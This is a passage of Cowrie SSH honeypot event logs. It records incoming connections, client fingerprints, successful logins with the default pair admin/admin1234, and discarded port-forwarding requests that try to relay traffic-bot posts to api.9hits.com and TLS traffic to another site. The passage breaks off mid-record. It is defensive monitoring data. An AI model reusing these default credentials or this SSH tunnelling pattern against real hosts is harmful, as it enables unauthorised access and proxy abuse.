{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1; dolphin Build/NRD91N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=PlBWWld2U1I8aVdSa3F2dA%3D%3DchgvoYo3cac8Xn9ohMwWeYbU8Pwk2aOW63esgNKddkt0LE9v9eqBC5kKVj73XU%2BEOaObdbM3gtos161GqFtjWrJJf44wu4LQlD34R%2FGS2DFcbxDFMgEZIZ9z5vJuYTsfXTCn0yr1j8gIPoXYbp4ikMxKSFWSeQAfD%2BTdrHq3V5zbY2wRMrY6qq5RnH1INVc%2BBqoPGC2f1%2BmUNIQDa8dtqwuuVr761pXb3jMGTsK9d1Zx%2F%2BoNoVAXUZvWT3MZkP16ZdusMYCwDpfVCdOsz2eA3MImsRRseQA89vcHSmd4SHWQzYpafSicbpVIz0UPBaLaICCO%2B7ImRuOu7F%2FUZXSr4VHoZ5uFnkFs8zu0xttOdF9zq7Irkj1VWZQZ%2Fgvm6reKnQHaQdXjmyzc8e7lUj1ZH9LMpo0ueS%2B9Ybh%2BGNaoYPRLSI6zp1kJmyXNO%2FqPGWW7KyBu8rd0%2BPpFWRSsHg8RGkHM67X2%2BpUjuv7Oh87z0XXXV1JiJUYT0xtzGaCTL1AClR6e3Hgpvw465jjNfB5MGShuukR9sEeeZM5xBU92pPoGq4gc4TL21tfvopnKC4vjgYzgo7QlQPvVAGP6hy5n3cynpU%2FwIHdj%2FwMqq%2B4BOhyGdG1gGu18TScpsxki4ga9ynNZGsuz6CkmJRm2HD1Of%2FeIGWNusPISEPKDsX3cbJh1NCbzV3fbYWGCvHSJa27ORw%2BrvR9u%2BjP6MqevPzMCXvKz2ZaMoNiq7DE91YMwfL9YGI9RyQXslBsUjuh%2F3Yvt1SEfDvxAUhKckJRL%2BW8mj%2BrwIBs4v6qzw5vBcoSPGjqar47xa%2Bz7h2p0HLblFRiQo34%2Bgle%2FjxCegK%2Fjotuvg16chhx2Qq8z5cAasRXzC5%2ByF%2BMKD7AWJ%2B7DiwSHWH%2BqsZFh06%2FB15l8eoCrJWGZSrnbc%2F5M7glvZNpVeqt9QYBqU1NOcE6YahD2lfXYq9At7annb8283RJY9sTm2ZwTwIyNnCLzWBOn%2BKBATmmNS9pQOybpUqj7BxJh6Vps1LsZCyBOeiSLH1JZUp49nd6oLbtnU%2Fpi7aB17K%2FgJLRCUaSxBFmUCU1G%2FBq4QKdelkbf'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1; dolphin Build/NRD91N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=PlBWWld2U1I8aVdSa3F2dA%3D%3DchgvoYo3cac8Xn9ohMwWeYbU8Pwk2aOW63esgNKddkt0LE9v9eqBC5kKVj73XU%2BEOaObdbM3gtos161GqFtjWrJJf44wu4LQlD34R%2FGS2DFcbxDFMgEZIZ9z5vJuYTsfXTCn0yr1j8gIPoXYbp4ikMxKSFWSeQAfD%2BTdrHq3V5zbY2wRMrY6qq5RnH1INVc%2BBqoPGC2f1%2BmUNIQDa8dtqwuuVr761pXb3jMGTsK9d1Zx%2F%2BoNoVAXUZvWT3MZkP16ZdusMYCwDpfVCdOsz2eA3MImsRRseQA89vcHSmd4SHWQzYpafSicbpVIz0UPBaLaICCO%2B7ImRuOu7F%2FUZXSr4VHoZ5uFnkFs8zu0xttOdF9zq7Irkj1VWZQZ%2Fgvm6reKnQHaQdXjmyzc8e7lUj1ZH9LMpo0ueS%2B9Ybh%2BGNaoYPRLSI6zp1kJmyXNO%2FqPGWW7KyBu8rd0%2BPpFWRSsHg8RGkHM67X2%2BpUjuv7Oh87z0XXXV1JiJUYT0xtzGaCTL1AClR6e3Hgpvw465jjNfB5MGShuukR9sEeeZM5xBU92pPoGq4gc4TL21tfvopnKC4vjgYzgo7QlQPvVAGP6hy5n3cynpU%2FwIHdj%2FwMqq%2B4BOhyGdG1gGu18TScpsxki4ga9ynNZGsuz6CkmJRm2HD1Of%2FeIGWNusPISEPKDsX3cbJh1NCbzV3fbYWGCvHSJa27ORw%2BrvR9u%2BjP6MqevPzMCXvKz2ZaMoNiq7DE91YMwfL9YGI9RyQXslBsUjuh%2F3Yvt1SEfDvxAUhKckJRL%2BW8mj%2BrwIBs4v6qzw5vBcoSPGjqar47xa%2Bz7h2p0HLblFRiQo34%2Bgle%2FjxCegK%2Fjotuvg16chhx2Qq8z5cAasRXzC5%2ByF%2BMKD7AWJ%2B7DiwSHWH%2BqsZFh06%2FB15l8eoCrJWGZSrnbc%2F5M7glvZNpVeqt9QYBqU1NOcE6YahD2lfXYq9At7annb8283RJY9sTm2ZwTwIyNnCLzWBOn%2BKBATmmNS9pQOybpUqj7BxJh6Vps1LsZCyBOeiSLH1JZUp49nd6oLbtnU%2Fpi7aB17K%2FgJLRCUaSxBFmUCU1G%2FBq4QKdelkbf'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:28.375076Z","src_ip":"23.148.145.132","session":"80dde302e6dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":54124,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a9cd73b22fb","protocol":"ssh","message":"New connection: 113.164.152.20:54124 (10.17.0.5:22) [session: 9a9cd73b22fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:30.527109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:30.533390Z","src_ip":"113.164.152.20","session":"9a9cd73b22fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:30.818673Z","src_ip":"113.164.152.20","session":"9a9cd73b22fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":57530,"dst_ip":"10.17.0.5","dst_port":22,"session":"9544df6ea62a","protocol":"ssh","message":"New connection: 38.46.222.137:57530 (10.17.0.5:22) [session: 9544df6ea62a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:31.080264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:31.494192Z","src_ip":"38.46.222.137","session":"9544df6ea62a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:31.497984Z","src_ip":"38.46.222.137","session":"9544df6ea62a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:32.035523Z","src_ip":"113.164.152.20","session":"9a9cd73b22fb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:32.283277Z","src_ip":"38.46.222.137","session":"9544df6ea62a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:32.448824Z","session":"9a9cd73b22fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:32.544604Z","session":"9a9cd73b22fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:32.631980Z","session":"80dde302e6dd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:32.653136Z","src_ip":"23.148.145.132","session":"80dde302e6dd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf6>\\xe6\\xb7\\xf5h?\\x1d\\x0b\\xbc\\xd6\\x95u\\xdb\\x8d\\xc2\"\\xa8 )V\\x04\\x97\\x9d\\x8a\\x0c\\x94X\\xe6\\xd2\\x15\\x86 \\x84\\xf2\\x8d\\x8e\\x1eRb\\xb3\\x9aAN\\x91mI/\\x96\\xd1\\xfd\\xb6T<\\x07\\xce\\x13\\xcc\\xfao\\x1f\\x17\\xdbd)\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x02q1\\xd4k3\\xed\\xda\\xeb\\xbcY^)+\\x98\\x17b\\xf1\\xf4O\\x10d\\xa8\\xb1\\x7f5\\x9d\\x8b \\xa1\\x0bV\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf6>\\xe6\\xb7\\xf5h?\\x1d\\x0b\\xbc\\xd6\\x95u\\xdb\\x8d\\xc2\"\\xa8 )V\\x04\\x97\\x9d\\x8a\\x0c\\x94X\\xe6\\xd2\\x15\\x86 \\x84\\xf2\\x8d\\x8e\\x1eRb\\xb3\\x9aAN\\x91mI/\\x96\\xd1\\xfd\\xb6T<\\x07\\xce\\x13\\xcc\\xfao\\x1f\\x17\\xdbd)\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x02q1\\xd4k3\\xed\\xda\\xeb\\xbcY^)+\\x98\\x17b\\xf1\\xf4O\\x10d\\xa8\\xb1\\x7f5\\x9d\\x8b \\xa1\\x0bV\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:32.655678Z","src_ip":"23.148.145.132","session":"80dde302e6dd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:32.682812Z","session":"80dde302e6dd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:32.700780Z","src_ip":"23.148.145.132","session":"80dde302e6dd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf3\\xb7e\\'\\xbc\\x95\\xbd\\xe4\\xaaN\\xc5\\xba\\xa1\\xa4|\\x83\\xea\\xdb\\xeb\\xfe\\x86\\x9c\\xfd\\x97\\x1c\"f\\x0fQ|U\\xa8 \\x18&\\xe9\\x17~I\\xa9\\xf2\\x84\\x902@ZFdP\\xde\\x9aLa\\'W\\xfdg\\xa8\\xc3\\xe8\\x86\\xe7\\xa0C\\xf1\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0c\\xf3\\x81\\xb2\\xacX\\xd3\\xd0h\\xea\\'\\xed\\x9a-6\\xe4\\x19n2\\xb2\\xeb\\x7f\\x96\\xda\\xb0\\xb1e\\xf4\\x8db\\xe7u\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf3\\xb7e\\'\\xbc\\x95\\xbd\\xe4\\xaaN\\xc5\\xba\\xa1\\xa4|\\x83\\xea\\xdb\\xeb\\xfe\\x86\\x9c\\xfd\\x97\\x1c\"f\\x0fQ|U\\xa8 \\x18&\\xe9\\x17~I\\xa9\\xf2\\x84\\x902@ZFdP\\xde\\x9aLa\\'W\\xfdg\\xa8\\xc3\\xe8\\x86\\xe7\\xa0C\\xf1\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 